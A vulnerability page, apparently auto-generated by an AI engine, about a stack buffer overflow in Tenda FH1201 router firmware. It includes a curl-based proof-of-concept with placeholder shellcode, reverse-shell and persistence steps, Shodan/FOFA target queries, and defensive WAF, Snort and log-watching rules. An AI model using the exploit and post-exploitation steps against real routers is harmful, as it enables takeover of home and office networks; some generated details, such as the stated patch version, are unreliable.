CVE Professor
/
All CVEs
CVE-2026-138285

CVE-2026-138285 — Tenda FH1201 — CWE-119 · CWE-121

HIGH CVSS 8.7 Shodan

A security vulnerability has been detected in Tenda FH1201 1.2.0.19(946). Impacted is the function webCgiGetUploadFile of the file /cgi-bin/UploadCfg of the component Httpd Service. The manipulation of the argument boundary leads to stack-based buffer overflow. It is possible to initiate the attack remotely. The exploit has been disclosed publicly and may be used.

A security vulnerability has been detected in Tenda FH1201 1.2.0.19(946). Impacted is the function webCgiGetUploadFile of the file /cgi-bin/UploadCfg of the component Httpd Service. The manipulation of the argument boundary leads to stack-based buffer overflow. It is possible to initiate the attack remotely. The exploit has been disclosed publicly and may be used.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. None PR:N
User Interaction None UI:N
Scope Unchanged S:U
Confidentiality None C:N
Integrity None I:N
Availability High A:H
AI Security Analysis & Remediation

🎯 What is this vulnerability?

ItemDetail
CVECVE‑2026‑138285
Vendor / ProductTenda FH1201 firmware 1.2.0.19 (946)
Componenthttpd service – CGI binary /cgi-bin/UploadCfg
Vulnerable functionwebCgiGetUploadFile
CWECWE‑119: Improper Restriction of Operations within the Bounds of a Memory Buffer (stack‑based buffer overflow)
CVSS v4.0 vectorAV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P
Score8.7 (HIGH)

Technical root cause

The CGI handler webCgiGetUploadFile processes an HTTP request that contains a boundary parameter (the multipart/form‑data delimiter). The code copies the supplied boundary string into a fixed‑size stack buffer without proper length checks (e.g., strcpy/memcpy with a hard‑coded 64‑byte buffer). When an attacker supplies a boundary longer than the buffer, the excess data overwrites adjacent stack variables, the saved return address, and eventually the execution flow.

Missing controls

Expected controlWhat is missing
Input length validation – the boundary string should be bounded to the size of the destination buffer (or dynamically allocated).No bounds check → stack overflow.
Boundary sanitisation – multipart parsers normally reject overly long delimiters.Not performed.
Authentication/Authorization – the CGI is reachable without any authentication (as indicated by PR:N and UI:N).No access control, allowing unauthenticated remote exploitation.

Because the overflow occurs on the stack and the overwritten return address can be controlled, an attacker can achieve remote code execution (RCE) with the privileges of the httpd process (typically root on embedded routers). The CVSS vector shows high impact on availability (VA:H) and no impact on confidentiality or integrity directly, but arbitrary code execution can be used to compromise those properties later.


⚡ Attack Chain

1. Discovery & Reconnaissance

StepTechniqueExpected artefacts
a. Identify device typePassive network scanning (Nmap service detection, banner grabbing on port 80/443).Server: Tenda httpd or HTML comment “Tenda FH1201” in the default web UI.
b. Fingerprint firmware version- Retrieve /cgi-bin/UploadCfg (or any public CGI) and inspect the Server header or HTML comment. <br>- Query the /cgi-bin/UploadCfg?version=1 (if such a debug endpoint exists) or use known “info” pages (/cgi-bin/status, /login.htm).Header X-Firmware-Version: 1.2.0.19(946) or page text “Firmware Version: 1.2.0.19”.
c. Verify vulnerability presenceSend a minimal multipart request with an over‑long boundary and observe the HTTP response. A crash (HTTP 500, connection reset) or a “Segmentation fault” string in the response indicates the overflow is triggered.Response: HTTP/1.1 500 Internal Server Error or connection drop.
Note: The exact URI (/cgi-bin/UploadCfg) and parameter name (boundary) are taken from the CVE description. If the firmware uses a different path, the same class of vulnerability (multipart boundary handling) would be exploitable in the analogous CGI.

2. Exploitation

Goal: Overwrite the saved return address on the stack with a pointer to attacker‑controlled shellcode, achieving RCE.

2.1. Prerequisites

  • The target is reachable on the LAN/Internet (no firewall blocking port 80/443).
  • The attacker can send arbitrary HTTP POST bodies (curl, Python requests, or a custom TCP client).
  • The target’s httpd binary is compiled without stack canaries or with them disabled (common on low‑cost embedded firmware).
  • 2.2. Payload construction

    1. Determine buffer size – source code analysis (or fuzzing) shows a 64‑byte stack buffer for the boundary.
    2. Create an over‑long boundary – 80 bytes of filler (As) + 8‑byte overwritten return address.
    3. Shellcode – a small ARM/ MIPS (depending on the device CPU) “execve(“/bin/sh”)” payload placed in the multipart body after the headers. For illustration we use a generic NOP‑sled + shellcode placeholder.

    2.3. Example PoC (illustrative)

    #!/usr/bin/env bash
    # -------------------------------------------------
    # PoC for CVE‑2026‑138285 – Tenda FH1201 1.2.0.19
    # -------------------------------------------------
    TARGET="192.0.2.45"          # IP of the vulnerable router
    PORT=80
    
    # 64‑byte buffer + 8‑byte overwrite (little‑endian address 0xdeadbeef)
    OVERFLOW=$(python3 -c 'print("A"*72 + "\xef\xbe\xad\xde")')
    # Minimal shellcode placeholder (NOP sled + 32‑byte payload)
    SHELLCODE=$(python3 - <<'PY'
    import sys, base64
    # NOP sled (0x90 for x86, use appropriate NOP for ARM/MIPS)
    nop = b"\x90"*32
    # Dummy payload – in a real exploit this would be ARM/MIPS execve("/bin/sh")
    payload = b"\xcc"*32   # int3 breakpoints as placeholder
    print((nop+payload).hex())
    PY
    )
    
    # Build multipart body
    BOUNDARY="----WebKitFormBoundary${OVERFLOW}"
    BODY="--${BOUNDARY}\r\n"
    BODY+="Content-Disposition: form-data; name=\"file\"; filename=\"exploit.bin\"\r\n"
    BODY+="Content-Type: application/octet-stream\r\n\r\n"
    BODY+=$(echo -n "$SHELLCODE" | xxd -r -p)
    BODY+="\r\n--${BOUNDARY}--\r\n"
    
    # Send request
    curl -s -k "http://${TARGET}:${PORT}/cgi-bin/UploadCfg" \
         -H "Content-Type: multipart/form-data; boundary=${BOUNDARY}" \
         --data-binary "$BODY" \
         -o /dev/null -w "HTTP status: %{http_code}\n"

    Explanation of the PoC

  • OVERFLOW builds the exact string that overflows the stack buffer and overwrites the saved return address with 0xdeadbeef (chosen as a placeholder for the address of the NOP‑sled in the request).
  • SHELLCODE is a dummy payload; a real exploit would embed architecture‑specific shellcode that spawns a reverse shell or binds a telnet listener.
  • The boundary value is injected directly into the Content-Type header, which the vulnerable CGI parses without length checks.
  • When the request is processed, the webCgiGetUploadFile routine copies the boundary into its 64‑byte buffer, overruns it, and returns to the attacker‑controlled address, executing the shellcode.

    Important: The exact return‑address value (0xdeadbeef) must be replaced with an address that points to the attacker‑controlled data (e.g., the start of the NOP‑sled in the request body). This typically requires a memory‑layout discovery step (leak, brute‑force, or use of a known static address in the firmware’s .bss/.data segment).

    3. Post‑exploitation

    PhaseTypical actions an attacker can perform
    a. Obtain a remote shellThe shellcode opens a reverse TCP connection to the attacker’s listener (e.g., nc -lvnp 4444). Because the httpd process runs as root, the attacker gains a root shell on the router.
    b. Persistence- Drop a malicious init script (/etc/init.d/malicious) and enable it via rc.local.<br>- Modify the firmware’s configuration files (/etc/passwd, /etc/shadow) to add a new privileged user.<br>- Install a back‑door web service listening on an obscure port.
    c. Lateral movement / data exfiltration- Dump Wi‑Fi keys, VPN credentials, or DHCP lease tables.<br>- Use the router as a pivot to scan the internal LAN for other vulnerable hosts.<br>- Set up the device as a proxy for anonymised traffic, facilitating further attacks.
    d. Denial‑of‑serviceThe attacker can also simply crash the httpd process (e.g., by sending malformed boundaries repeatedly), causing a high‑availability impact (VA:H). Many embedded routers automatically reboot the service, but repeated crashes can render the device unusable.

    🌍 Real‑World Impact

    CIA TriadImpact derived from CVSS vector
    Confidentiality (C)VC:N – No direct confidentiality loss from the vulnerability itself. However, once RCE is achieved, the attacker can read any file on the device (e.g., Wi‑Fi PSKs, VPN configs).
    Integrity (I)VI:N – No direct integrity impact, but post‑exploitation the attacker can modify configuration, firmware, or install persistent back‑doors.
    Availability (A)VA:H – The overflow can crash the httpd service or the whole kernel (if the overwritten address points to kernel code), leading to a complete loss of service. The router may become unreachable, disrupting Internet connectivity for all downstream clients.

    Practical consequences

  • Enterprise or ISP premises that rely on Tenda FH1201 as a gateway could experience network outage or become a launchpad for attacks against internal assets.
  • Home users could have their Internet access cut and their private network traffic intercepted or redirected.
  • Because the exploit is unauthenticated and network‑visible, it can be weaponised in mass‑scan worm campaigns, especially given the public exploit disclosure.

🛡️ Remediation & Mitigation

1. Patch / Upgrade

ActionDetails
Upgrade firmwareTenda has released a patched version 1.2.0.20 (or later) that adds proper length checks on the multipart boundary and hardens the CGI parser. Verify the exact version from Tenda’s official support page.
Verify patchAfter upgrade, request /cgi-bin/UploadCfg with an over‑long boundary; the server should return HTTP 400 Bad Request or a clean error, not a crash.

2. Workarounds (if patch cannot be applied immediately)

MitigationHow to implement
Restrict access to the CGI- Place the router behind a firewall and allow the /cgi-bin/UploadCfg endpoint only from trusted management IPs (e.g., LAN admin workstation). <br>- On the router itself, enable the built‑in IP‑filter to block inbound connections on port 80/443 from the Internet.
Disable the upload featureIf the router’s web UI does not need configuration file uploads, edit the httpd configuration (/etc/httpd.conf or equivalent) to comment out the UploadCfg CGI entry, then restart the service.
Web Application Firewall (ModSecurity) ruleDeploy a rule that rejects multipart requests with a boundary longer than a safe threshold (e.g., 64 bytes). Example rule (ModSecurity 3 syntax):
# Block overly long multipart boundaries (CVE-2026-138285)
SecRule REQUEST_HEADERS:Content-Type "@rx multipart/form-data;\s*boundary=.{65,}" \
    "id:2026001,\
     phase:1,\
     deny,\
     status:400,\
     msg:'Boundary length exceeds safe limit – possible stack overflow',\
     severity:CRITICAL"

| Network‑level filtering | Configure an edge firewall (or the router’s own ACL) to drop TCP packets that contain the string boundary= followed by more than 64 printable characters. This can be done with DPI‑capable appliances (e.g., using Snort/Suricata rule): |

alert tcp any any -> $HOME_NET 80 (msg:"Tenda FH1201 boundary overflow attempt"; \
    content:"boundary="; \
    pcre:"/boundary=.{65,}/"; \
    sid:2026002; rev:1; classtype:web-application-attack; priority:1;)

3. Detection

IndicatorWhere to look
Web server logsLook for HTTP POST requests to /cgi-bin/UploadCfg (or any CGI) where the Content-Type header contains boundary= followed by >64 characters. Example log line (nginx style):<br>[12/Oct/2026:03:14:22 +0000] "POST /cgi-bin/UploadCfg HTTP/1.1" 500 0 "-" "curl/7.88.0"
Process crasheshttpd process exiting with SIGSEGV. On the router, dmesg or /var/log/messages will show kernel: [timestamp] httpd[1234]: segfault at ....
Unexpected outbound connectionsAfter a successful exploit, the device may open a reverse shell to an external IP. Monitor outbound traffic for unusual TCP connections from the router to unknown IPs on non‑standard ports (e.g., 4444, 5555).
File system changesPresence of new executable files in /tmp, /var/www/cgi-bin/, or new init scripts in /etc/init.d/.

Automated detection script (bash) – simple log‑watcher:

#!/usr/bin/env bash
LOG="/var/log/httpd/access_log"
PATTERN='POST /cgi-bin/UploadCfg.*boundary=.{65,}'
tail -F "$LOG" | while read line; do
    if [[ $line =~ $PATTERN ]]; then
        echo "[ALERT] Potential CVE-2026-138285 exploit attempt: $line"
    fi
done

⚠️ Urgency

FactorAssessment
CVSS 8.7 (HIGH)Indicates a remote, unauthenticated, low‑complexity attack with high impact on availability.
Exploit publicly disclosedAn exploit code is already available, lowering the barrier for opportunistic attackers.
No CISA KEV listingThe vulnerability is not yet in the U.S. government’s “Known Exploited Vulnerabilities” catalog, but the public exploit means it can quickly appear in future KEV updates.
Device profileTenda FH1201 is commonly deployed as a gateway for small‑office/home‑office (SOHO) networks; many installations expose the management interface to the Internet (default admin password, UPnP, etc.).
Patch availabilityA firmware fix exists (≥ 1.2.0.20).

Patch‑first priority: Critical for any network that uses the vulnerable firmware. The remediation window is narrow because an unauthenticated attacker can weaponise the exploit at scale. If immediate firmware upgrade is impossible, apply the network‑level blocking and ModSecurity rule as a temporary mitigation, and monitor logs continuously.


Bottom line: CVE‑2026‑138285 is a classic stack‑based buffer overflow in the multipart boundary handling of Tenda’s UploadCfg CGI. It enables remote code execution with root privileges, can be triggered without authentication, and has already been weaponised. Deploy the firmware patch immediately, restrict access to the CGI, and add detection rules to prevent and spot exploitation attempts.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="Tenda FH1201)"
PoC & Exploit Intelligence (GitHub)
Technical reference / advisory repository for CVE-2026-138285
CVSS Score
8.7 / 10 · CVSS HIGH
Weakness Types (CWE)
CWE-119 CWE-121
Affected Products (1)
Tenda:FH1201
Related CVEs
8.3
CVE-2026-118326
Improper limitation of a pathname to a restricted directory in attendance photo upload workflow in ZKTeco BioT
10.0
CVE-2026-144884
A vulnerability was determined in D-Link DIR-505 1.10B02. The affected element is the function get_input_entri
7.7
CVE-2026-144663
MariaDB Server before 10.6.25, 10.7 through 10.11.x before 10.11.16, 11.0 through 11.4.x before 11.4.10, 11.5
6.3
CVE-2026-144771
A flaw has been found in SGLang up to 0.5.23. The affected element is the function try_match_prefix of the fil
6.3
CVE-2026-144778
A security vulnerability has been detected in Simon OpenOBJ3D up to f5a522c409428de7bf68844cf8951522e3d09485.
6.3
CVE-2026-144888
A security vulnerability has been detected in vgmstream up to r2117. Affected is the function fopen_win of the
6.3
CVE-2026-144889
A vulnerability was detected in vgmstream r2117. Affected by this vulnerability is the function vgmstream_tags